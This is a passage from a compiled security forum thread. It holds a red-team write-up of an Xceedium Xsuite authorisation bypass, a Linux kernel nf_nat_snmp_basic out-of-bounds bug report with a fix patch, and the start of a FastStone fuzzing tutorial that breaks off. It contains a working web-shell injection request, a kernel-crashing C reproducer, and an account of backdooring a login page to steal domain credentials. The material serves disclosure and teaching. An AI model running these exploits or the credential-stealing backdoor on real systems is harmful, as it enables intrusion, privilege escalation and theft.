config file. We can then include the key in our request, and pass this check. So let’s check the checkSharedKey() function to see where this shared key is saved. /var/www/htdocs/uag/functions/activeActiveCmd.php function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { //1 return false; } if (trim($shared_key) == "") { //2 return flase; } if ($f = file("/var/uag/config/failover.cfg")) { foreach ($f as $row) { //3 $row = trim($row); if ($row == "") { continue; } $row_sp = preg_split("/=/", $row); if ($row_sp[0] == "SHARED_KEY") { if ($shared_key == $row_sp[1]) //4 return true; } } } else { return false; } } This function does the following: 1) Check the key passed to it is 32 characters in length; 2) Check the key passed to it isn’t an empty string; 3) Read the failover.cfg file line by line; 4) Check the provided shared key matches the shared key in failover.cfg. So we can use our arbitrary file read to extract the shared key from the /var/uag/config/failover.cfg file, append it to our request, write our serialised, base64’d PHP code to failover.cfg, invoke linkDB() to eval() our malicious code, and execute code on the remote host. After reading the contents of failover.cfg I was greeted with the following: /var/uag/config/failover.cfg CLUSTER_MEMBERS= ACTIVE_IFACE= SHARED_KEY= STATUS= MY_INDEX= CLUSTER_STATUS= CLUSTER_IP= CLUSTER_NAT_IP= CLUSTER_FQDN= The file is empty. We cannot steal the existing key to pass the authentication checks as there isn’t one configured. After again failing I turned my attention back to the checkSharedKey() functionality. The first thing the checkSharedKey() function does is check the provided key is 32 characters long. This means we cannot simply pass a blank key to pass the check. Once again it may be game over. However, after a while I noticed a subtle issue subtle that I had previously overlooked. Did you see it? /var/www/htdocs/uag/functions/activeActiveCmd.php function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { return false; } if (trim($shared_key) == "") { return flase; } … } Due to a typographic error, when a shared key is provided that is 32 characters in length, but empty after a call to trim(), the function will return “flase”. This will return the literal string “flase” instead of the Boolean value FALSE. Fortunately for us, the string “flase” has a Boolean value of TRUE, thus the key check will be successful and we can bypass the authorisation check. Reviewing PHP’s trim() manual we find the following: http://php.net/manual/en/function.trim.php So in theory we can use 32 spaces, tabs, line feeds, carriage returns, null bytes, or vertical tabs to reach the necessary code paths required to execute code. All because somebody typed two characters the wrong way around in the word “false”! To test our theory we can take the relevant parts of code, and write a small script that utilises the same logic as the Xsuite code. <?php //Take user input $shared_key = $_GET['shared_key']; //Echo user input echo "Input: " . $shared_key . "\n"; //Echo the string length (Hopefully 32) echo "shared_key Length: " . strlen($shared_key) . "\n"; //Pass the input to the checkSharedKey() function $logres = checkSharedKey($shared_key); //Echo out the raw returned value Echo "Raw Returned Value: "; var_dump($logres); //Echo the Boolean value of returned value Echo "Boolen returned Value: "; var_dump((bool) $logres); //Echo either “bad shared key” or “auth bypassed” accordingly if(!$logres) { echo "BAD SHARED KEY\n"; exit(0); } else { echo "Auth Bypassed"; } function checkSharedKey($shared_key) { if (strlen($shared_key) != 32) { return false; } if (trim($shared_key) == "") { return flase; } } ?> I then tested a few inputs to see what happened: As expected, passing a 32 character random string returns the Boolean value of FALSE and we do not bypass the checks. Now to try our theory of carriage returns/null bytes/etc: As predicted, a string composed of 32 carriage returns, null bytes, etc will bypass the checkSharedKey() functionality. We can now bypass the authorisation checks to reach our desired code paths. As there are a lot of steps to this exploit and a significant number of things that may go wrong, it was decided that we should once again test the exploit locally with the relevant code. Exploitation After a while testing locally, the following exploitation steps had been refined: Poison failover.cfg with our malicious code using our $shared_key bypass: ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30= Decoding the contest of the post parameter gives the following serialized payload: a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";} which corresponds to a PHP object of the form: $data = array(); $data['radio_iface'] = "iface"; $data['cluster_members'] = array("127.0.0.1"); $data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD"; $data['status'] = "OFF"; $data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";} 2. Verify the config file has been successfully poisoned by reading it back using the arbitrary file read vulnerability in read_sessionlog.php: 3. Invoke linkDB() to eval() the contents of failover.cfg and execute a command. POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1 c=whoami Conclusion Upon first discovering the Xceedium device, it appeared we had struck gold. A significantly outdated device with publicly available exploits resulting in RCE. Naturally this was not the case and successful compromise took significantly more time and effort than originally expected. For those of you who are curious how the rest of the engagement went. Upon compromising the device we quickly discovered a method to gain root access to the device. Due to the nature of Xceedium Xsuite (Identity and Access Management), hundreds of users were authenticating to the device every day. With root access we simply backdoored login.php to steal hundreds of domain credentials. Fortunately for us some of the clear-text credentials we captured were domain/enterprise administrators. This allowed us complete access to various domains across the globe. Obviously the goal of red teaming isn’t to gain domain administrator, but it certainly helps. :) As previously mentioned, I’m sorry that there aren’t more screenshots showing the actual attack, however I don’t want to risk outing the client. Additionally, at the time of discovery I had no intentions of releasing this bug publicly. Finally I wish I could say Xceedium (Now CA Technologies) were a treat to work with during the disclosure process however that would be a lie. Daniel C Sursa: https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767
  8. commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library", first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1 decoder can invoke callbacks when certain objects are encountered. The SNMP helper has two such callbacks defined in nf_nat_snmp_basic.asn1: - For the `version` field of a `Message` (a `INTEGER`), snmp_version() is invoked. - For each `IpAddress` (according to RFC 1155, a 4-byte octet string), snmp_helper() is invoked. These callbacks contain the following code: int snmp_version(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { if (*(unsigned char *)data > 1) return -ENOTSUPP; return 1; } int snmp_helper(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { struct snmp_ctx *ctx = (struct snmp_ctx *)context; __be32 *pdata = (__be32 *)data; if (*pdata == ctx->from) { pr_debug("%s: %pI4 to %pI4\n", __func__, (void *)&ctx->from, (void *)&ctx->to); if (*ctx->check) fast_csum(ctx, (unsigned char *)data - ctx->begin); *pdata = ctx->to; } return 1; } The problem is that both of these callbacks can be invoked by the ASN.1 parser with `data` pointing at the end of the packet and `datalen==0` (even though, for the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall consist of one or more octets"), but they don't check whether there is sufficient input available. This means that snmp_version() can read up to one byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can read and potentially also write up to four bytes out-of-bounds. Unfortunately, KASAN can't detect the out-of-bounds reads because, as was pointed out in <https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/> regarding a (harmless) out-of-bounds read in the TCP input path, the kernel stores a `struct skb_shared_info` at the end of the socket buffer allocation, directly behind the packet data. The kernel can only detect that a problem occurred based on the later effects of an out-of-bounds write. It might be a good idea to explicitly add some KASAN poison between the head data and struct skb_shared_info to make it easier for kernel fuzzers to discover issues like this in the future. There are two scenarios in which this bug might be attacked: - A router that performs NAT translation is explicitly set up to invoke the SNMP helper, and a device in the NATted network wants to attack the router. This is probably very rare, since the router would need to be explicitly configured to perform SNMP translation. On top of that, to corrupt memory, an attacker would need to be able to completely fill an SKB; it isn't clear to me whether that is possible remotely. - A local attacker could exploit the bug by setting up new network namespaces with an iptables configuration that invokes SNMP translation. This probably works as a local privilege escalation against some distribution kernels. The normal autoloading path for this code was only set up in commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias name", first in 4.20), but from a glance, it looks like it would be possible on kernels before 4.20 to instead first load one of the openvswitch module's aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the alias "ip_nat_snmp_basic". The following is a reproducer for a git master build that causes a kernel oops (nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I think): ====================================================================== #!/bin/sh unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF set -e set -x # make "ip netns" work in here mount -t tmpfs none /var/run/ cd /var/run # this namespace is the router with NAT ip link set dev lo up echo 1 > /proc/sys/net/ipv4/ip_forward /sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE /sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap /sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT # this namespace is the destination host for the SNMP trap message ip netns add netns1 nsenter --net=/var/run/netns/netns1 ip link set dev lo up ip link add veth0 type veth peer name veth1 ip link set veth1 netns netns1 nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up /sbin/ifconfig veth0 192.168.0.1/24 up # this namespace sends the SNMP trap message ip netns add netns2 nsenter --net=/var/run/netns/netns2 ip link set dev lo up ip link add veth2 type veth peer name veth3 ip link set veth3 netns netns2 # /31 network, see RFC 3021 # we want *.0.0.0 so that the 3 OOB bytes can be zero nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up /sbin/ifconfig veth2 10.0.0.1/24 up nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1 # debug ip route nsenter --net=/var/run/netns/netns2 ip route # run the PoC cat > udp_repro.c <<C_EOF #define _GNU_SOURCE #include <arpa/inet.h> #include <stdlib.h> #include <errno.h> #include <stdarg.h> #include <net/if.h> #include <linux/if.h> #include <linux/ip.h> #include <linux/udp.h> #include <linux/in.h> #include <err.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24)) // "pc X" comments in the following array refer to indices into // nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which // is generated as part of the kernel's build process. // reading the ASN.1 decoder and the generated machine opcodes // seemed easier than trying to build ASN.1 by looking at the // spec or something like that... uint8_t snmp_packet[] = { // pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30 // length indef 0x30, 0x80, // pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02 // version number 0x02, 0x01, 0x00, // pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04 0x04, 0x00, // pc 7: read tag, should match _tagn(CONT, CONS, 0) == 0xa0 // selects GetRequest-PDU, length indef 0xa0, 0x80, // pc 34: read INT request-id 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 36: read INT error-status 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 38: read INT error-index 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, // pc 40: read seq VarBindList // length indef 0x30, 0x80, // pc 42: read seq VarBind // length indef 0x30, 0x80, // ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06 // ObjectName // (can use 0x82 as length to have two bytes of length following) // length chosen so that the end of packet data is directly // followed by the skb_shared_info, with the whole thing in a // kmalloc-512 slab. 0x06, 0x70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // ptr 46: read tag, should skip // ptr 48: read tag, should skip // ptr 50: read tag, should skip // ptr 52: read tag, should match _tagn(APPL, PRIM, 0) == 0x40 // IpAddress // we could also use a length of zero, and the callback would still // be invoked, but we want control over the first byte so that we // can create a source IP match. 0x40, 0x01, // source IP 10.0.0.0 0x0a }; void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) { int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen); if (res != len) { if (res == -1) err(1, "send failed"); else errx(1, "partial send?"); } } int main(void) { int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock == -1) err(1, "socket"); struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(162), .sin_addr = { .s_addr = IPADDR(192,168,0,2) } }; // __ip_append_data() overallocates by 15 bytes for some reason; cancel it out // by using CORK to first send 15 bytes short, then append the remaining 15 bytes do_sendto(sock, snmp_packet, sizeof(snmp_packet)-15, MSG_MORE, (struct sockaddr *)&sa, sizeof(sa)); do_sendto(sock, ((char*)snmp_packet)+sizeof(snmp_packet)-15, 15, 0, (struct sockaddr *)&sa, sizeof(sa)); } C_EOF gcc -o udp_repro udp_repro.c -Wall nsenter --net=/var/run/netns/netns2 ./udp_repro SCRIPT_EOF ====================================================================== Corresponding splat: ====================================================================== [ 260.101983] IPVS: ftp: loaded support on port[0] = 21 [ 260.134983] LoadPin: vda1 (254:1): writable [ 260.135981] LoadPin: enforcement can be disabled. [ 260.137085] LoadPin: kernel-module pinned obj="/lib/modules/5.0.0-rc5/kernel/net/bpfilter/bpfilter.ko" pid=1095 cmdline="/sbin/modprobe -q -- bpfilter" [ 260.143100] bpfilter: Loaded bpfilter_umh pid 1096 [ 260.171851] IPVS: ftp: loaded support on port[0] = 21 [ 260.248339] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready [ 260.250475] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready [ 260.261136] IPVS: ftp: loaded support on port[0] = 21 [ 260.347678] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready [ 260.621924] page:ffffea000703de00 count:0 mapcount:-128 mapping:0000000000000000 index:0x0 [ 260.624264] flags: 0x17fffc000000000() [ 260.625373] raw: 017fffc000000000 ffffea0007a6d408 ffffea000783fe08 0000000000000000 [ 260.627650] raw: 0000000000000000 0000000000000003 00000000ffffff7f 0000000000000000 [ 260.629926] page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0) [ 260.631958] ------------[ cut here ]------------ [ 260.633312] kernel BUG at ./include/linux/mm.h:546! [ 260.634771] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 260.636693] CPU: 6 PID: 1121 Comm: udp_repro Not tainted 5.0.0-rc5 #263 [ 260.638583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 260.641031] RIP: 0010:do_exit+0x1391/0x1440 [ 260.642266] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c [ 260.647667] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286 [ 260.649556] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000 [ 260.651639] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0 [ 260.653712] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9 [ 260.655786] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34 [ 260.657857] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78 [ 260.659939] FS: 0000000000000000(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000 [ 260.662281] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 260.664171] CR2: 00007fe2da7af5e0 CR3: 000000002de2b002 CR4: 0000000000360ee0 [ 260.666987] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 260.670022] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 260.672035] Call Trace: [ 260.672761] ? release_task+0x860/0x860 [ 260.673864] ? __fd_install+0x88/0x140 [ 260.674946] ? handle_mm_fault+0x82/0x130 [ 260.676100] do_group_exit+0x79/0x120 [ 260.677157] __x64_sys_exit_group+0x28/0x30 [ 260.678362] do_syscall_64+0x73/0x160 [ 260.679440] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 260.680878] RIP: 0033:0x7fe2da7af618 [ 260.681922] Code: Bad RIP value. [ 260.682872] RSP: 002b:00007ffd5a5e12c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 [ 260.685057] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fe2da7af618 [ 260.687125] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000 [ 260.689197] RBP: 00007fe2daa8c8e0 R08: 00000000000000e7 R09: ffffffffffffff98 [ 260.691264] R10: 00007ffd5a5e1248 R11: 0000000000000246 R12: 00007fe2daa8c8e0 [ 260.693343] R13: 00007fe2daa91c20 R14: 0000000000000000 R15: 0000000000000000 [ 260.695412] Modules linked in: bpfilter [ 260.696776] ---[ end trace d5f4a4a31d762416 ]--- [ 260.698931] RIP: 0010:do_exit+0x1391/0x1440 [ 260.700171] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c [ 260.705625] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286 [ 260.707183] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000 [ 260.708823] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0 [ 260.710384] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9 [ 260.711888] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34 [ 260.713785] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78 [ 260.715326] FS: 00007fe2dac99700(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000 [ 260.717071] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 260.718340] CR2: 00007fe2da7af5ee CR3: 000000002de2b002 CR4: 0000000000360ee0 [ 260.719867] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 260.721389] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 260.722923] Fixing recursive fault but reboot is needed! ====================================================================== It also works against a Debian testing distro kernel if you first (as root) set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat: ====================================================================== [17260.886470] IPv6: ADDRCONF(NETDEV_UP): veth1: link is not ready [17260.887304] IPv6: ADDRCONF(NETDEV_UP): veth0: link is not ready [17260.887310] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready [17260.887334] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready [17260.930188] IPv6: ADDRCONF(NETDEV_UP): veth3: link is not ready [17260.931286] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready [17261.115583] BUG: Bad page state in process Xorg pfn:276500 [17261.115588] page:ffffcf4ac9d94000 count:-1 mapcount:0 mapping:0000000000000000 index:0x0 [17261.115595] flags: 0x17fffc000000000() [17261.115598] raw: 017fffc000000000 dead000000000100 dead000000000200 0000000000000000 [17261.115599] raw: 0000000000000000 0000000000000000 ffffffffffffffff 0000000000000000 [17261.115601] page dumped because: nonzero _count [17261.115602] Modules linked in: veth xt_helper xt_conntrack nf_nat_snmp_basic nf_conntrack_snmp nf_conntrack_broadcast xt_CT xt_tcpudp nft_counter nft_chain_nat_ipv4 ipt_MASQUERADE nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nft_compat nf_tables nfnetlink uinput atm netrom appletalk psnap llc ax25 snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev qxl snd soundcore ttm drm_kms_helper drm sg evdev virtio_balloon serio_raw virtio_console crct10dif_pclmul crc32_pclmul pcspkr ghash_clmulni_intel button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto ecb btrfs xor zstd_decompress zstd_compress xxhash hid_generic usbhid hid raid6_pq libcrc32c crc32c_generic sr_mod cdrom ata_generic virtio_net net_failover virtio_blk failover crc32c_intel [17261.115641] ata_piix libata ehci_pci aesni_intel uhci_hcd aes_x86_64 ehci_hcd crypto_simd cryptd virtio_pci usbcore scsi_mod psmouse glue_helper virtio_ring i2c_piix4 usb_common virtio floppy [17261.115652] CPU: 14 PID: 653 Comm: Xorg Not tainted 4.19.0-1-amd64 #1 Debian 4.19.12-1 [17261.115653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [17261.115654] Call Trace: [17261.115681] dump_stack+0x5c/0x80 [17261.115688] bad_page.cold.115+0x7f/0xb2 [17261.115690] get_page_from_freelist+0xf51/0x1200 [17261.115694] ? reservation_object_reserve_shared+0x32/0x70 [17261.115696] ? get_page_from_freelist+0x8c3/0x1200 [17261.115698] __alloc_pages_nodemask+0x112/0x2b0 [17261.115703] new_slab+0x288/0x6e0 [17261.115707] ? update_blocked_averages+0x3ca/0x560 [17261.115708] ___slab_alloc+0x378/0x500 [17261.115710] ? update_nohz_stats+0x41/0x50 [17261.115713] ? shmem_alloc_inode+0x16/0x30 [17261.115715] ? shmem_alloc_inode+0x16/0x30 [17261.115716] __slab_alloc+0x1c/0x30 [17261.115717] kmem_cache_alloc+0x192/0x1c0 [17261.115719] shmem_alloc_inode+0x16/0x30 [17261.115722] alloc_inode+0x1b/0x80 [17261.115725] new_inode_pseudo+0xc/0x60 [17261.115726] new_inode+0x12/0x30 [17261.115728] shmem_get_inode+0x49/0x220 [17261.115731] __shmem_file_setup.part.42+0x3f/0x130 [17261.115754] drm_gem_object_init+0x26/0x40 [drm] [17261.115758] qxl_bo_create+0x79/0x170 [qxl] [17261.115762] qxl_gem_object_create+0x60/0x120 [qxl] [17261.115764] ? qxl_map_ioctl+0x20/0x20 [qxl] [17261.115767] qxl_gem_object_create_with_handle+0x4e/0xb0 [qxl] [17261.115769] qxl_alloc_ioctl+0x42/0xa0 [qxl] [17261.115777] ? drm_dev_enter+0x19/0x50 [drm] [17261.115785] drm_ioctl_kernel+0xa1/0xf0 [drm] [17261.115807] drm_ioctl+0x1fc/0x390 [drm] [17261.115810] ? qxl_map_ioctl+0x20/0x20 [qxl] [17261.115812] ? ep_scan_ready_list.constprop.22+0x1fc/0x220 [17261.115814] ? __hrtimer_init+0xb0/0xb0 [17261.115816] ? timerqueue_add+0x52/0x80 [17261.115834] ? enqueue_hrtimer+0x38/0x90 [17261.115835] ? hrtimer_start_range_ns+0x1b7/0x2c0 [17261.115836] do_vfs_ioctl+0xa4/0x630 [17261.115840] ? __sys_recvmsg+0x83/0xa0 [17261.115841] ksys_ioctl+0x60/0x90 [17261.115843] __x64_sys_ioctl+0x16/0x20 [17261.115846] do_syscall_64+0x53/0x100 [17261.115851] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [17261.115852] RIP: 0033:0x7fb3e93d3747 [17261.115854] Code: 00 00 90 48 8b 05 49 a7 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 19 a7 0c 00 f7 d8 64 89 01 48 [17261.115855] RSP: 002b:00007ffc43daf3f8 EFLAGS: 00003246 ORIG_RAX: 0000000000000010 [17261.115856] RAX: ffffffffffffffda RBX: 0000562c71bece00 RCX: 00007fb3e93d3747 [17261.115857] RDX: 00007ffc43daf430 RSI: 00000000c0086440 RDI: 000000000000000e [17261.115857] RBP: 00007ffc43daf430 R08: 0000562c71bece00 R09: 00000000000003d1 [17261.115858] R10: 0000562c71085010 R11: 0000000000003246 R12: 00000000c0086440 [17261.115858] R13: 000000000000000e R14: 0000562c710bcba0 R15: 0000562c710d82f0 [17261.115860] Disabling lock debugging due to kernel taint ====================================================================== I suggest the following patch (copy attached with proper whitespace); I have tested that it prevents my PoC from crashing the kernel, but I haven't tested whether SNMP NATting still works. ====================================================================== From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001 From: Jann Horn <jannh@google.com> Date: Wed, 6 Feb 2019 22:56:15 +0100 Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in ASN.1 cbs The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks will get as much data as they expect; callbacks have to check the `datalen` parameter before looking at `data`. Make sure that snmp_version() and snmp_helper() don't read/write beyond the end of the packet data. (Also move the assignment to `pdata` down below the check to make it clear that it isn't necessarily a pointer we can use before the `datalen` check.) Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library") Signed-off-by: Jann Horn <jannh@google.com> --- net/ipv4/netfilter/nf_nat_snmp_basic_main.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c index a0aa13bcabda..0a8a60c1bf9a 100644 --- a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c +++ b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c @@ -105,6 +105,8 @@ static void fast_csum(struct snmp_ctx *ctx, unsigned char offset) int snmp_version(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { + if (datalen != 1) + return -EINVAL; if (*(unsigned char *)data > 1) return -ENOTSUPP; return 1; @@ -114,8 +116,11 @@ int snmp_helper(void *context, size_t hdrlen, unsigned char tag, const void *data, size_t datalen) { struct snmp_ctx *ctx = (struct snmp_ctx *)context; - __be32 *pdata = (__be32 *)data; + __be32 *pdata; + if (datalen != 4) + return -EINVAL; + pdata = (__be32 *)data; if (*pdata == ctx->from) { pr_debug("%s: %pI4 to %pI4\n", __func__, (void *)&ctx->from, (void *)&ctx->to); -- 2.20.1.611.gfbb209baf1-goog ====================================================================== Sursa: https://www.exploit-db.com/exploits/46477
  9. Introduction to File Format Fuzzing & Exploitation Daniel C Mar 4 This post will explain the process of finding and exploiting a previously unknown vulnerability in a real-world piece of software to achieve code execution. The vulnerability was initially found in 2016 and the vendor was contacted however no response was ever received. Now several years later (March 2019 at time of writing), the vulnerability still exists in the latest version. Please note that this post is supposed to serve as a basic introduction to file format fuzzing, I’m fully aware that the fuzzing methods used in this post are somewhat outdated. Also, if you think I have explained something badly or something is completely incorrect then please let me know. -Daniel tl;dr The Target FastStone Image Viewer 6.9 — http://www.faststone.org/FSViewerDetail.htm Never heard of it? Me either, however for some reason it has 13.8 million downloads on CNET. Additionally, the application has been hosted on its own website for the last few years, so the total number of downloads is likely much higher. What you will need 32bit Windows Windows 7 Virtual machine FastStone Image Viewer 6.9 Windbg .NET Framework 4 Immunity Debugger Peach Community Edition v3 010 Editor Text Editor of your choice fuzz.zip Containing Config/Sample/Crash files for Peach. I have also included a copy of FSViewer in case the FastStone site goes down in the future. Fuzzing “Fuzz testing or fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.” — OWASP File format fuzzing is relatively simple. You provide your fuzzer with a legitimate file sample, the fuzzer then repeatedly mutates the sample and opens it in the target application. If the target application crashes, something has obviously gone wrong and the mutated file is saved to be reviewed at a later date. As the original file doesn’t crash the application but your mutated file does, it is possible you have some sort of control over this crash. If you can control what is read/written/executed in memory, you may be able to take control over application flow. If you control the application flow you can make the application do things it is not supposed to. Configuring the Fuzzing VM The fuzzing framework we will be using is Peach Community Edition. It’s a bit outdated but should be fine for a basic introduction. Step 1) Install everything Once you have a Windows 7 VM set up, install all the tools listed above and extract fuzz.zip onto the desktop. Fuzz.zip will contain the following files: FSViewerSetup69.exe — A backup copy of FSViewer in case their site goes down in the future; Sample.cur — This is your test case, when running, peach will select this file, mutate it, and open it within FSViewer; Cur.xml — This is your peach “pit” file. This is used to configure the peach framework; Crash.cur — This is the original crash that Peach found; ExploitFinal.jpg — The Proof of Concept exploit you should have at the end of this post. Step 2) Configure Peach Configuring peach requires a bit more work: After downloading, right click the 